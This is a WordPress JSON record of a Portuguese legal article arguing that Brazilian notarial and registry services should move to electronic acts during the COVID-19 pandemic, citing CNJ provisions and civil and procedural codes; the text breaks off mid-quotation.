{"id":14394,"date":"2020-05-07T15:41:18","date_gmt":"2020-05-07T19:41:18","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=14394"},"modified":"2020-05-07T15:41:18","modified_gmt":"2020-05-07T19:41:18","slug":"artigo-os-servicos-extrajudiciais-e-os-atos-eletronicos-por-marcio-evangelista-ferreira-da-silva","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-os-servicos-extrajudiciais-e-os-atos-eletronicos-por-marcio-evangelista-ferreira-da-silva\/","title":{"rendered":"Artigo: Os Servi\u00e7os Extrajudiciais e os Atos Eletr\u00f4nicos, por Marcio Evangelista Ferreira da Silva"},"content":{"rendered":"<h2><\/h2>\n<h2><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-12513\" src=\"https:\/\/www.anoregmt.org.br\/novo\/wp-content\/uploads\/2020\/03\/LogoAnoregOficial-e1575292174718.png\" alt=\"\" width=\"213\" height=\"180\" \/><\/h2>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2><\/h2>\n<h2><\/h2>\n<h2 style=\"text-align: justify;\">Por: Marcio Evangelista Ferreira da Silva<\/h2>\n<div class=\"content\" style=\"text-align: justify;\">\n<p>Para visualizar o artigo em formato PDF,\u00a0<strong><a href=\"https:\/\/infographya.com\/files\/ARTIGO_-_Os_Servicos_Extrajudiciais_e_os_Atos_Eletronicos_-_Marcio_Evangelista.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">clique aqui.<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Os Servi\u00e7os Extrajudiciais e os Atos Eletr\u00f4nicos<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Marcio Evangelista Ferreira da Silva<\/p>\n<p>Doutor e Mestre em Direito pelo UniCeub-DF<\/p>\n<p>Especialista pela Harvard University (Justice)-EUA<\/p>\n<p>Especialista pela Universidade de Napoli Federico II (Comparative Judicial Systems)-ITA<\/p>\n<p>Juiz Assistente da Presid\u00eancia do TJDFT<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Introdu\u00e7\u00e3o<\/strong><\/p>\n<p>O presente artigo analisa o avan\u00e7o da tecnologia e a pr\u00e1tica de atos eletr\u00f4nicos pelos servi\u00e7os extrajudiciais (cart\u00f3rios de notas e de registro). Aborda a tem\u00e1tica diante da pandemia decorrente do coronav\u00edrus (COVID-19), as resolu\u00e7\u00f5es e provimentos do Conselho Nacional de Justi\u00e7a.<\/p>\n<p>Nos sistemas jur\u00eddicos que predominam no mundo, o servi\u00e7o extrajudicial est\u00e1 em pelo menos 120 Pa\u00edses (22 Membros da Uni\u00e3o Europeia e 15 Membros do G20)1. H\u00e1, desta forma, uma presta\u00e7\u00e3o do servi\u00e7o, de forma semelhante \u00e0 do Brasil, para aproximadamente 2\/3 da Popula\u00e7\u00e3o Mundial, o que corresponde a 60% do PIB Mundial.<\/p>\n<p>No entanto, em alguns sistemas, como no Brasil, ainda predomina a forma usual e antiga, qual seja, a da pr\u00e1tica de atos presenciais e de forma escritural. Mas, em alguns Pa\u00edses, a atividade do servi\u00e7o extrajudicial \u00e9 exercida de forma eletr\u00f4nica, onde carimbos s\u00e3o substitu\u00eddos por certid\u00f5es eletr\u00f4nicas, escrituras s\u00e3o documentos digitais natos e n\u00e3o se exige mais a presen\u00e7a das partes para a elabora\u00e7\u00e3o de atos e contratos, pois s\u00e3o realizados por videoconfer\u00eancia, com reconhecimento facial, biom\u00e9trico ou por assinaturas com certificado eletr\u00f4nico.<\/p>\n<p>A par disso, analisa-se como a atividade do servi\u00e7o extrajudicial brasileira est\u00e1 evoluindo da forma \u201cpapelizada\u201d para o mundo eletr\u00f4nico\/digital. A t\u00edtulo de justificativa pela escolha tem\u00e1tica, o Conselho Nacional de Justi\u00e7a publicou recentemente atos normativos permitindo a realiza\u00e7\u00e3o de atos pela via eletr\u00f4nica em raz\u00e3o da situa\u00e7\u00e3o excepcional da pandemia gerada pela COVID-19.<\/p>\n<p>Visto isso, o problema que se apresenta, como ponto de partida da investiga\u00e7\u00e3o, pode ser sintetizado nos seguintes termos: como dar continuidade \u00e0 presta\u00e7\u00e3o do servi\u00e7o p\u00fablico delegado (atividade notarial e de registro) em \u00e9poca de pandemia e quarentena obrigat\u00f3ria?<\/p>\n<p>J\u00e1 a hip\u00f3tese \u00e9 apresentada nos seguintes termos: o sistema jur\u00eddico brasileiro, tanto judicial quanto extrajudicial, permite que as atividades sejam desempenhadas em \u00e9poca de pandemia e quarentena obrigat\u00f3ria, pois no primeiro h\u00e1 o processo judicial eletr\u00f4nico e, no segundo, o sistema admite a pr\u00e1tica de atos de forma eletr\u00f4nica de forma segura e eficiente.<\/p>\n<p>Para o desiderato acima apontado, investigou-se como a Constitui\u00e7\u00e3o Federal, a legisla\u00e7\u00e3o substantiva e adjetiva, bem como a literatura especializada do direito aborda a tem\u00e1tica.<\/p>\n<p>No primeiro cap\u00edtulo acentuou-se que a Constitui\u00e7\u00e3o Federal vigente abriu as portas do Poder Judici\u00e1rio \u00e0 popula\u00e7\u00e3o e que, ap\u00f3s tr\u00eas d\u00e9cadas, o sistema de justi\u00e7a n\u00e3o atende o princ\u00edpio constitucional da dura\u00e7\u00e3o razo\u00e1vel do processo, sendo necess\u00e1rio que se fomente m\u00e9todos de desjudicializa\u00e7\u00e3o. Pontuou-se que o servi\u00e7o extrajudicial pode ser uma alternativa para a resolu\u00e7\u00e3o do problema presente no sistema de justi\u00e7a brasileiro.<\/p>\n<p>Posteriormente no segundo cap\u00edtulo, abordou-se a situa\u00e7\u00e3o de pandemia frente ao Poder Judici\u00e1rio e os atos normativos que tratam da tem\u00e1tica em tempos de urg\u00eancia. Realizou-se tamb\u00e9m uma an\u00e1lise da evolu\u00e7\u00e3o for\u00e7ada, que a situa\u00e7\u00e3o de emerg\u00eancia atual ocasionou, levando o servi\u00e7o extrajudicial a prestar servi\u00e7os de forma eletr\u00f4nica\/virtual.<\/p>\n<p>No terceiro e \u00faltimo cap\u00edtulo, constatou-se que os atos normativos publicados pelo Conselho Nacional de Justi\u00e7a fomentaram a pr\u00e1tica de atos eletr\u00f4nicos pelo servi\u00e7o extrajudicial e que os atos normativos publicados pelo Conselho Nacional de Justi\u00e7a emparelharam o servi\u00e7o extrajudicial com o Poder Judici\u00e1rio em sua atividade jurisdicional que, atualmente, pratica atos de forma eletr\u00f4nica\/digital.<\/p>\n<p>Constatou-se tamb\u00e9m que, n\u00e3o h\u00e1 mais volta, pois, os servi\u00e7os extrajudiciais doravante desempenhar\u00e3o suas atividades de forma eletr\u00f4nica\/digital com respaldo tanto na legisla\u00e7\u00e3o substantiva quanto na adjetiva (C\u00f3digo Civil, C\u00f3digo de Processo Civil e C\u00f3digo de Processo Penal), na legisla\u00e7\u00e3o correlata (Medida Provis\u00f3ria n. 2.200-2\/2001, Marco Civil da Internet-Lei n. 12.965\/2014) e nos atos publicados pelo Conselho Nacional de Justi\u00e7a.<\/p>\n<p>Por fim, diante da inevitabilidade da incurs\u00e3o do servi\u00e7o extrajudicial no mundo eletr\u00f4nico\/digital, pontuou-se que o Conselho Nacional de Justi\u00e7a se preocupou com a seguran\u00e7a na pr\u00e1tica dos atos, j\u00e1 que a Corregedoria Nacional de Justi\u00e7a publicou o Provimento CNJ n. 74\/2018, estabelecendo padr\u00f5es m\u00ednimos de tecnologia da informa\u00e7\u00e3o para a seguran\u00e7a, integridade e disponibilidade de dados.<\/p>\n<p>Ao final, s\u00e3o apresentadas as considera\u00e7\u00f5es conclusivas para responder \u00e0 problem\u00e1tica apresentada e se a hip\u00f3tese restou confirmada ou refutada. Concluiu-se no presente estudo, que a Constitui\u00e7\u00e3o Federal brasileira de 1988, a Lei n. 8.935\/94, a legisla\u00e7\u00e3o substantiva e adjetiva brasileira (civil e penal) s\u00e3o un\u00edssonas no sentido de que \u00e9 permitida e fomentada a pr\u00e1tica de atos eletr\u00f4nicos\/digitais pelo servi\u00e7o extrajudicial.<\/p>\n<p><strong>1. O Poder Judici\u00e1rio e os servi\u00e7os extrajudiciais<\/strong><\/p>\n<p>A Constitui\u00e7\u00e3o Federal de 1988, uma constitui\u00e7\u00e3o cidad\u00e3, abriu \u00e0s portas do Poder Judici\u00e1rio ao povo brasileiro. A popula\u00e7\u00e3o confiou e utiliza os servi\u00e7os \u00e0 sua disposi\u00e7\u00e3o, no entanto, houve uma crescente demanda devido \u00e0 alta taxa de litigiosidade do povo brasileiro.<\/p>\n<p>\u00c9 p\u00fablico e not\u00f3rio que os processos judiciais em tramite perante o Poder Judici\u00e1rio s\u00e3o lentos devido, dentre outros fatores, da alta taxa de litigiosidade. O Conselho Nacional de Justi\u00e7a publicou estudo pontuando que, no final do ano de 2018, existiam em tramita\u00e7\u00e3o no Poder Judici\u00e1rio Nacional 78,7 milh\u00f5es de processos sem solu\u00e7\u00e3o. Demonstrando a litigiosidade do povo brasileiro, consta do mencionado relat\u00f3rio que \u201cem m\u00e9dia, a cada grupo de 100.000 habitantes, 11.796 ingressaram com uma a\u00e7\u00e3o judicial no ano de 2018\u201d (BRASIL, CNJ, 2019).<\/p>\n<p>Conforme relat\u00f3rio do Conselho Nacional de Justi\u00e7a (dados colhidos at\u00e9 31\/12\/2018), o tempo m\u00e9dio de processos pendentes \u00e9, \u201cna fase de execu\u00e7\u00e3o da Justi\u00e7a Federal (8 anos e 1 m\u00eas) e da Justi\u00e7a Estadual (6 anos e 2 meses)\u201d que, computando a m\u00e9dia, resulta em \u201c4 anos e 10 meses\u201d2. Note-se que tal pesquisa considerou a justi\u00e7a c\u00edvel (federal e estadual), militar (federal e estadual), trabalhista e eleitoral, n\u00e3o considerando a justi\u00e7a criminal que, em m\u00e9dia, os processos duraram \u201c3 anos e 9 meses na fase de conhecimento\u201d. A taxa de congestionamento do Poder Judici\u00e1rio \u00e9, segundo o relat\u00f3rio, da ordem de \u201c73% no 1\u00ba grau e 52% no 2\u00ba grau (BRASIL, CNJ, 2019).<\/p>\n<p>A lentid\u00e3o na resolu\u00e7\u00e3o das demandas apresentadas pela popula\u00e7\u00e3o atenta contra a dura\u00e7\u00e3o razo\u00e1vel do processo. Sobre o tema (dura\u00e7\u00e3o razo\u00e1vel do processo) trata-se de um mandamento constitucional, j\u00e1 que a Constitui\u00e7\u00e3o Federal estabelece que \u201ca todos, no \u00e2mbito judicial e administrativo, s\u00e3o assegurados a razo\u00e1vel dura\u00e7\u00e3o do processo e os meios que garantam a celeridade de sua tramita\u00e7\u00e3o\u201d (BRASIL, CF, 1988).<\/p>\n<p>Sobre a tem\u00e1tica confira-se a literatura especializada:<\/p>\n[&#8230;] positiva-se, assim, no direito constitucional, orienta\u00e7\u00e3o h\u00e1 muito perfilhada nas conven\u00e7\u00f5es internacionais sobre direitos humanos e que alguns autores j\u00e1 consideravam impl\u00edcita na ideia de prote\u00e7\u00e3o judicial efetiva, no postulado da dignidade da pessoa humana e na pr\u00f3pria ideia de Estado de Direito. A dura\u00e7\u00e3o indefinida ou ilimitada do processo judicial afeta n\u00e3o apenas e de forma direta a ideia de prote\u00e7\u00e3o judicial efetiva, como compromete de modo decisivo a prote\u00e7\u00e3o da dignidade da pessoa humana [&#8230;] (MENDES; BRANCO, 2015).<\/p>\n<p>A razo\u00e1vel dura\u00e7\u00e3o do processo, portanto, \u00e9 uma imposi\u00e7\u00e3o ao Poder P\u00fablico, em especial ao Poder Judici\u00e1rio, que deve primar pela efetividade desta garantia constitucional.<\/p>\n<p>Como \u00e9 sabido, o Poder Judici\u00e1rio brasileiro presta servi\u00e7os \u00e0 popula\u00e7\u00e3o diretamente ou de forma delegada. Na primeira hip\u00f3tese h\u00e1 a presta\u00e7\u00e3o jurisdicional e, na segunda, h\u00e1 o servi\u00e7o p\u00fablico delegado, qual seja, os servi\u00e7os extrajudiciais (cart\u00f3rios de nota e de registro).<\/p>\n<p>Considerando tal panorama, qual seja, a lentid\u00e3o na presta\u00e7\u00e3o jurisdicional direta, a ofensa \u00e0 garantia constitucional da dura\u00e7\u00e3o razo\u00e1vel do processo e a necessidade de fomento \u00e0 desjudicializa\u00e7\u00e3o, curial que se desenvolva a cultura da resolu\u00e7\u00e3o das demandas pelo servi\u00e7o p\u00fablico delegado, os servi\u00e7os extrajudiciais.<\/p>\n<p>Com efeito, o not\u00e1rio e o registrador brasileiro exerce um servi\u00e7o p\u00fablico em nome do Estado, pois este, nos termos do artigo 236, da Constitui\u00e7\u00e3o Federal, delegou a atividade do servi\u00e7o extrajudicial. Tal atividade, nos termos da Lei n. 8.935\/1994, \u00e9 exercida em car\u00e1ter privado, no entanto, n\u00e3o se deve esquecer que \u00e9 um servi\u00e7o orientado pelo princ\u00edpio da legalidade e da moralidade, tal como o servi\u00e7o p\u00fablico.<\/p>\n<p>Ora, o servi\u00e7o extrajudicial \u00e9 essencial para cumprir o mandamento constitucional mencionado acima, j\u00e1 que diuturnamente quest\u00f5es litigiosas s\u00e3o resolvidas perante o not\u00e1rio e o registrador, pois pode-se afirmar, sem d\u00favidas, que a resolu\u00e7\u00e3o de lit\u00edgios fora da seara judicial \u00e9 a regra, j\u00e1 que \u201co direito se realiza mais pelos neg\u00f3cios jur\u00eddicos, na sua forma instrumental, produzidos pelos particulares, e com f\u00e9 p\u00fablica, pelos not\u00e1rios, do que por suas decis\u00f5es jurisdicionais\u201d (FERREIRA; RODRIGUES, 2010).<\/p>\n<p><strong>2. A pandemia do coronav\u00edrus (COVID-19) e a evolu\u00e7\u00e3o do servi\u00e7o extrajudicial<\/strong><\/p>\n<p>Atualmente o mundo est\u00e1 em estado de alerta devido \u00e0 contamina\u00e7\u00e3o da popula\u00e7\u00e3o pela COVID-19. A Organiza\u00e7\u00e3o Mundial de Sa\u00fade decretou estado de pandemia3. No Brasil, a Uni\u00e3o, os Estados, o Distrito Federal e os Munic\u00edpios adotaram medidas para conter o avan\u00e7o da contamina\u00e7\u00e3o. \u00c9 certo que, na pandemia, \u00e9 dever de todos atuar de forma a impedir a dissemina\u00e7\u00e3o da doen\u00e7a. Assim, louv\u00e1vel a atua\u00e7\u00e3o dos poderes p\u00fablicos em prol da sa\u00fade da popula\u00e7\u00e3o.<\/p>\n<p>No \u00e2mbito do Poder Judici\u00e1rio, o Supremo Tribunal Federal, o Conselho Nacional de Justi\u00e7a, o Tribunal Superior Eleitoral, o Superior Tribunal de Justi\u00e7a, o Tribunal Superior do Trabalho e os Tribunais Regionais Federais e do Trabalho, bem como os Tribunais de Justi\u00e7a dos Estados e do Distrito Federal, publicaram resolu\u00e7\u00f5es e provimentos regulando a tem\u00e1tica.<\/p>\n<p>Os atos normativos publicados, em s\u00edntese, limitam o atendimento ao p\u00fablico e estabelecem o home office. Mencionadas normativas s\u00e3o para o bem de todos os servidores, prestadores de servi\u00e7o, estagi\u00e1rios, Advogados, membros do Minist\u00e9rio P\u00fablico, Defensores P\u00fablicos e Magistrados, pois o contato di\u00e1rio dos que atuam perante o Poder Judici\u00e1rio \u00e9 fator de alto risco de contamina\u00e7\u00e3o pela COVID-19, pois os atos s\u00e3o realizados em ambiente fechado (corredores e salas de audi\u00eancias) com ar-condicionado (sem ventila\u00e7\u00e3o natural).<\/p>\n<p>Das normativas editadas pelo Conselho Nacional de Justi\u00e7a, se destacam os Provimentos da Corregedoria Nacional de Justi\u00e7a4 que afetam diretamente a atividade do servi\u00e7o extrajudicial. Com efeito, os provimentos disp\u00f5em, em s\u00edntese, da suspens\u00e3o ou redu\u00e7\u00e3o do atendimento presencial ao p\u00fablico nas serventias extrajudiciais (not\u00e1rios e registradores), sobre o envio eletr\u00f4nico dos documentos para a lavratura de registros de nascimentos e de \u00f3bito e sobre o funcionamento das unidades de registro de im\u00f3veis.<\/p>\n<p>Assim, trata-se de um marco na atividade prestada pelo servi\u00e7o extrajudicial, pois a evolu\u00e7\u00e3o dos servi\u00e7os tradicionalmente prestados de forma presencial e \u201cpapelizada\u201d vem ocorrendo de forma lenta, j\u00e1 que, como em todo processo evolutivo, h\u00e1 quem defenda as inova\u00e7\u00f5es, mas h\u00e1 muitos que s\u00e3o contra.<\/p>\n<p>No que concerne \u00e0 evolu\u00e7\u00e3o do direito na hist\u00f3ria, afirma-se que:<\/p>\n[&#8230;] o direito evolui porque evoluem os povos [&#8230;] Al\u00e9m de evoluir, o direito est\u00e1 atrelado a uma cultura, a um povo, a um territ\u00f3rio e, consequentemente, a costumes ali praticados durante s\u00e9culos de conviv\u00eancia, que geram um padr\u00e3o de conduta [&#8230;]. Nessa evolu\u00e7\u00e3o hist\u00f3rica, hoje o direito est\u00e1 passando uma fase de grande mudan\u00e7a. Os sistemas jur\u00eddicos est\u00e3o sendo influenciados pela massifica\u00e7\u00e3o de informa\u00e7\u00f5es e de culturas, pela grande troca de experi\u00eancias no \u00e2mbito internacional, pelos com\u00e9rcios e troca de servi\u00e7os globais, pelos tratados internacionais que cada vez mais buscam criar padr\u00f5es universais que fomentem a integra\u00e7\u00e3o entre as culturas (CONTRUCCI, 2010. p. 57-61 e 84-89) (grifei).<\/p>\n<p>Sobre a quest\u00e3o posta, argumenta-se que h\u00e1 o progresso por meio das revolu\u00e7\u00f5es cient\u00edficas quando o paradigma adotado (\u201cpapeliza\u00e7\u00e3o\u201d e carimbos) n\u00e3o resolve mais as quest\u00f5es objeto de debates. No caso em comento, h\u00e1 no Brasil a ado\u00e7\u00e3o de um sistema arcaico de \u201ccarimbos\u201d, mas, devido \u00e0s suas mazelas e inefici\u00eancia, h\u00e1 uma crescente incurs\u00e3o no sistema eletr\u00f4nico\/digital.<\/p>\n<p>Com isso, nascem posi\u00e7\u00f5es divergentes ou \u201ccampos rivais que buscam o predom\u00ednio. Quando isso ocorre, h\u00e1 o per\u00edodo de crise cient\u00edfica no qual busca-se descobrir uma nova abordagem para as quest\u00f5es problemas e, na sequ\u00eancia, a revolu\u00e7\u00e3o termina com a vit\u00f3ria total de um dos dois campos rivais\u201d (KUHN, 2011).<\/p>\n<p>Parafraseando Kuhn, as normativas atuais apresentam solu\u00e7\u00f5es que s\u00e3o predominantes, no entanto, surgem dissid\u00eancias que criam uma instabilidade jur\u00eddica. Tal varia\u00e7\u00e3o decorrente das dissid\u00eancias, mutatis mutandis, pode ser chamada de crise e, iniciase o processo de revolu\u00e7\u00e3o (a evolu\u00e7\u00e3o do direito). Parte-se de um paradigma (\u201cpapeliza\u00e7\u00e3o\u201d e carimbos), surgem diverg\u00eancias (informatiza\u00e7\u00e3o e atos eletr\u00f4nicos\/digitais) e chega-se a um novo paradigma (novo entendimento predominante sobre a quest\u00e3o), qual seja, a normativa do Conselho Nacional de Justi\u00e7a permitindo a realiza\u00e7\u00e3o de atos eletr\u00f4nicos na atividade extrajudicial.<\/p>\n<p>Pode-se dizer, concluindo est\u00e1 etapa do estudo, que houve um rompimento de paradigmas, deixando de lado uma pr\u00e1tica antiga (papel e carimbo) para uma nova e presente realidade (atos e documentos eletr\u00f4nicos\/digitais) permitida atualmente pela atua\u00e7\u00e3o do Conselho Nacional de Justi\u00e7a.<\/p>\n<p><strong>3. Da necessidade e da legitimidade da pr\u00e1tica de atos eletr\u00f4nicos\/digitais pelo servi\u00e7o extrajudicial<\/strong><\/p>\n<p>Nos cap\u00edtulos anteriores foi visto que a Constitui\u00e7\u00e3o Federal de 1988 abriu as portas do Poder Judici\u00e1rio \u00e0 popula\u00e7\u00e3o e, decorridas mais de tr\u00eas d\u00e9cadas, h\u00e1 alta litigiosidade e lentid\u00e3o no sistema de justi\u00e7a. Pontuou-se a premente necessidade de a\u00e7\u00f5es no intuito da desjudicializa\u00e7\u00e3o e que os servi\u00e7os extrajudiciais podem ser um meio para afastar a lentid\u00e3o no sistema brasileiro.<\/p>\n<p>\u00c9 consenso que no sistema jur\u00eddico brasileiro, como j\u00e1 mencionado em linhas anteriores, o Poder Judici\u00e1rio desenvolve suas atividades de forma direta ou por delega\u00e7\u00e3o ao servi\u00e7o extrajudicial. Como se sabe, este \u00faltimo \u00e9 exercido por um agente p\u00fablico delegado que \u00e9 \u201cum profissional do direito investido da f\u00e9 p\u00fablica do Estado\u201d (FERREIRA; RODRIGUES, 2010).<\/p>\n<p>Acima tamb\u00e9m foi visto que atualmente o mundo sofre com os efeitos da COVID19 e que os Poderes Executivo, Legislativo e Judici\u00e1rio editaram atos normativos para regular a situa\u00e7\u00e3o de pandemia no Brasil. No que concerne ao Poder Judici\u00e1rio, diante da situa\u00e7\u00e3o de Pandemia, a\u00e7\u00f5es devem ser praticadas para que o sistema de justi\u00e7a continue em funcionamento, j\u00e1 que os lit\u00edgios persistem e novos se apresentam.<\/p>\n<p>Dos atos normativos editados pelo Conselho Nacional de Justi\u00e7a, se destacam Provimentos da Corregedoria Nacional de Justi\u00e7a5 que afetam diretamente a atividade do servi\u00e7o extrajudicial. Em s\u00edntese, tratam os atos mencionados da suspens\u00e3o ou redu\u00e7\u00e3o do atendimento presencial ao p\u00fablico nas serventias extrajudiciais (not\u00e1rios e registradores), sobre o envio eletr\u00f4nico dos documentos para a lavratura de registros de nascimentos e de \u00f3bito e sobre o funcionamento das unidades de registro de im\u00f3veis.<\/p>\n<p>Se extrai do conte\u00fado das normativas citadas acima, inequivocamente, a determina\u00e7\u00e3o da ado\u00e7\u00e3o da pr\u00e1tica, pelos not\u00e1rios e registradores, de atos eletr\u00f4nicos\/digitais. Confira-se os destaques:<\/p>\n<p>Provimento CNJ n. 93, de 26 de mar\u00e7o de 2020:<\/p>\n[&#8230;] Art. 1\u00ba. &#8230; \u00a74\u00b0 No per\u00edodo de vig\u00eancia desta norma, em car\u00e1ter excepcional, ficam os hospitais e interessados autorizados a encaminhar os documentos necess\u00e1rios \u00e0 elabora\u00e7\u00e3o do atestado de nascimento, por via eletr\u00f4nica, ao endere\u00e7o eletr\u00f4nico das respectivas serventias, divulgado no sitio da Associa\u00e7\u00e3o Nacional dos Registradores de Pessoas Naturais \u2013 ARPEN BRASIL (www.arpenbrasil.org.br), devendo o interessado comparecer \u00e0 serventia no mesmo prazo mencionado no caput, para regulariza\u00e7\u00e3o do assento e retirada da respectiva certid\u00e3o [&#8230;] (grifei).<\/p>\n<p>Provimento CNJ n. 94, de 28 de mar\u00e7o de 2020:<\/p>\n[&#8230;] Art. 4\u00ba. Durante a Emerg\u00eancia em Sa\u00fade P\u00fablica de Import\u00e2ncia Nacional (ESPIN), contemplada no caput, todos os oficiais dos Registros de Im\u00f3veis dever\u00e3o recepcionar os t\u00edtulos nato-digitais e digitalizados com padr\u00f5es t\u00e9cnicos, que forem encaminhados eletronicamente para a unidade a seu cargo, por meio das centrais de servi\u00e7os eletr\u00f4nicos compartilhados, e process\u00e1-los para os fins do art. 182 e ss da Lei n\u00ba 6.015, de 31 de dezembro de 1973 [&#8230;] (grifei).<\/p>\n<p>Provimento CNJ n. 95, de 01 de abril de 2020:<\/p>\n[&#8230;] Art. 6\u00ba. Durante a Emerg\u00eancia em Sa\u00fade P\u00fablica de Import\u00e2ncia Nacional (ESPIN), contemplada no caput, todos os oficiais de registro e tabeli\u00e3es dever\u00e3o recepcionar os t\u00edtulos nato-digitais e digitalizados com padr\u00f5es t\u00e9cnicos, que forem encaminhados eletronicamente para a unidade do servi\u00e7o de notas e registro a seu cargo e process\u00e1-los para os fins legais [&#8230;] (grifei).<\/p>\n<p>Trata-se, como j\u00e1 se pontuou anteriormente, de um marco na atividade prestada pelo servi\u00e7o extrajudicial, uma verdadeira evolu\u00e7\u00e3o, qui\u00e7\u00e1 uma revolu\u00e7\u00e3o na pr\u00e1tica dos not\u00e1rios e registradores brasileiros.<\/p>\n<p>O Poder Judici\u00e1rio em sua atividade jurisdicional, prestada diretamente \u00e0 popula\u00e7\u00e3o, j\u00e1 est\u00e1 no mundo informatizado h\u00e1 algum tempo. Est\u00e1 no rumo certo, pois tra\u00e7ou, como meta, a implanta\u00e7\u00e3o do processo judicial eletr\u00f4nico (atos processuais, julgamentos virtuais e por videoconfer\u00eancia). Trata-se de uma realidade, pois a maioria dos tribunais brasileiros praticam atos em plataformas eletr\u00f4nicas (PJe, SEEU e outros sistemas).<\/p>\n<p>Neste diapas\u00e3o, o servi\u00e7o extrajudicial, como atividade delegada do Poder Judici\u00e1rio, tamb\u00e9m deve adentrar na inova\u00e7\u00e3o tecnol\u00f3gica e prestar servi\u00e7os de forma eletr\u00f4nica\/digital. Com efeito, a tradicional forma de presta\u00e7\u00e3o de servi\u00e7o presencial e \u201cpapelizada\u201d deve ser abandonada.<\/p>\n<p>\u00c9 de bom alvitre destacar que o artigo 4\u00ba, da Lei n. 8.935\/04 estabelece que \u201cos servi\u00e7os notariais e de registro ser\u00e3o prestados de forma eficiente e adequado\u201d, sendo, atualmente, a melhor forma da presta\u00e7\u00e3o de servi\u00e7os \u00e0 popula\u00e7\u00e3o, dentro das peculiaridades de cada caso, a presta\u00e7\u00e3o de servi\u00e7o de forma eletr\u00f4nica\/digital.<\/p>\n<p>Hodiernamente a popula\u00e7\u00e3o, em sua maioria, desde o alvorecer at\u00e9 o anoitecer, resolve suas pendengas por meios eletr\u00f4nicos\/digitais. Pesquisas de 2019 indicam que h\u00e1 5,1 bilh\u00f5es de pessoas utilizando aparelhos de telefonia celular para todos os fins. Note-se ainda que, incluindo outros aparelhos eletr\u00f4nicos, como os desktops e tablets, \u201co ciberespa\u00e7o \u00e9 agora de 7 bilh\u00f5es de humanoides alucinados nas redes sociais, nos aplicativos de relacionamento ou no com\u00e9rcio para todos os fins\u201d (FERREIRA, RODRIGUES, 2010).<\/p>\n<p>Assim, urge que os servi\u00e7os extrajudiciais desempenhem suas atividades de forma eletr\u00f4nica\/digital, pois a inova\u00e7\u00e3o tecnologia \u00e9 uma realidade sem volta. A t\u00edtulo de exemplo, no mundo, Fran\u00e7a, Espanha e It\u00e1lia, que ostentam sistema extrajudicial semelhante ao brasileiro, j\u00e1 permitem a consecu\u00e7\u00e3o de atos eletr\u00f4nicos\/digitais pelos not\u00e1rios.<\/p>\n<p>Ora, a moderniza\u00e7\u00e3o dos servi\u00e7os p\u00fablicos prestados pelo Poder Judici\u00e1rio, incluindo os servi\u00e7os extrajudiciais, deve ser realizada com a adequa\u00e7\u00e3o da atividade aos novos tempos, mas com foco na transpar\u00eancia na pr\u00e1tica dos atos, na resolu\u00e7\u00e3o dos conflitos com racionaliza\u00e7\u00e3o e simplifica\u00e7\u00e3o do processo de trabalho, sendo essencial, neste \u00faltimo ponto, a pr\u00e1tica dos atos de forma eletr\u00f4nica\/digital.<\/p>\n<p>\u00c9 sabido que no Poder Judici\u00e1rio, tanto em sua atividade direta como na delegada, a informatiza\u00e7\u00e3o e a pr\u00e1tica de atos eletr\u00f4nicos\/digitais vem ocorrendo de forma lenta, j\u00e1 que, como em todo processo evolutivo, h\u00e1 quem defenda as inova\u00e7\u00f5es, mas h\u00e1 muitos que s\u00e3o contra. Os conflitos s\u00e3o inevit\u00e1veis, pois no processo evolutivo atual convivem gera\u00e7\u00f5es distintas no mesmo \u00e2mbito de trabalho (de Baby Boomers a Gera\u00e7\u00f5es X, Y e Z). Mas n\u00e3o se deve esmorecer. Com coragem e persist\u00eancia as gera\u00e7\u00f5es se adaptar\u00e3o ao novo mundo.<\/p>\n<p>Neste ponto, adapta\u00e7\u00e3o, a legisla\u00e7\u00e3o substantiva e adjetiva brasileira evoluiu, pois gradativamente vem permitindo ao Poder Judici\u00e1rio, tanto em sua atividade direta como na delegada, a pr\u00e1tica de atos judiciais e extrajudiciais de forma eletr\u00f4nica\/digital, reconhecendo sua validade e legitimidade.<\/p>\n<p>O C\u00f3digo Civil em vig\u00eancia estabelece que \u201cos registros fonogr\u00e1ficos e, em geral, quaisquer outras reprodu\u00e7\u00f5es mec\u00e2nicas ou eletr\u00f4nicas de fatos ou de coisas fazem prova plena destes, se a parte, contra quem forem exibidos, n\u00e3o lhes impugnar a exatid\u00e3o\u201d (art. 225), e que \u201ca inscri\u00e7\u00e3o do empres\u00e1rio far-se-\u00e1 mediante requerimento que contenha [&#8230;] a firma, com a respectiva assinatura aut\u00f3grafa que poder\u00e1 ser substitu\u00edda pela assinatura autenticada com certifica\u00e7\u00e3o digital ou meio equivalente que comprove a sua autenticidade\u201d (art. 968, II) (grifei).<\/p>\n<p>Estabelece ainda a legisla\u00e7\u00e3o substantiva civil que \u201co empres\u00e1rio e a sociedade empres\u00e1ria s\u00e3o obrigados a seguir um sistema de contabilidade, [&#8230;] al\u00e9m dos demais livros exigidos por lei, \u00e9 indispens\u00e1vel o Di\u00e1rio, que pode ser substitu\u00eddo por fichas no caso de escritura\u00e7\u00e3o mecanizada ou eletr\u00f4nica\u201d (arts. 1179\/1180), e que \u201co regimento interno do condom\u00ednio edil\u00edcio deve prever [&#8230;] a possibilidade de realiza\u00e7\u00e3o de assembleias n\u00e3o presenciais, inclusive por meio eletr\u00f4nico\u201d (art. 1358-Q, VIII) (grifei).<\/p>\n<p>J\u00e1 o C\u00f3digo de Processo Civil em vig\u00eancia, disp\u00f5e que \u201ca procura\u00e7\u00e3o geral para o foro, outorgada por instrumento p\u00fablico ou particular assinado pela parte, habilita o advogado a praticar todos os atos do processo [&#8230;] pode ser assinada digitalmente, na forma da lei\u201d (art. 105, \u00a71\u00ba), que \u201cos atos processuais podem ser total ou parcialmente digitais, de forma a permitir que sejam produzidos, comunicados, armazenados e validados por meio eletr\u00f4nico, na forma da lei\u201d (art. 193), e que a \u201cassinatura dos ju\u00edzes, em todos os graus de jurisdi\u00e7\u00e3o, pode ser feita eletronicamente, na forma da lei\u201d (art. 203, \u00a72\u00ba) (grifei).<\/p>\n<p>Disp\u00f5em ainda que \u201cos despachos, as decis\u00f5es interlocut\u00f3rias, o dispositivo das 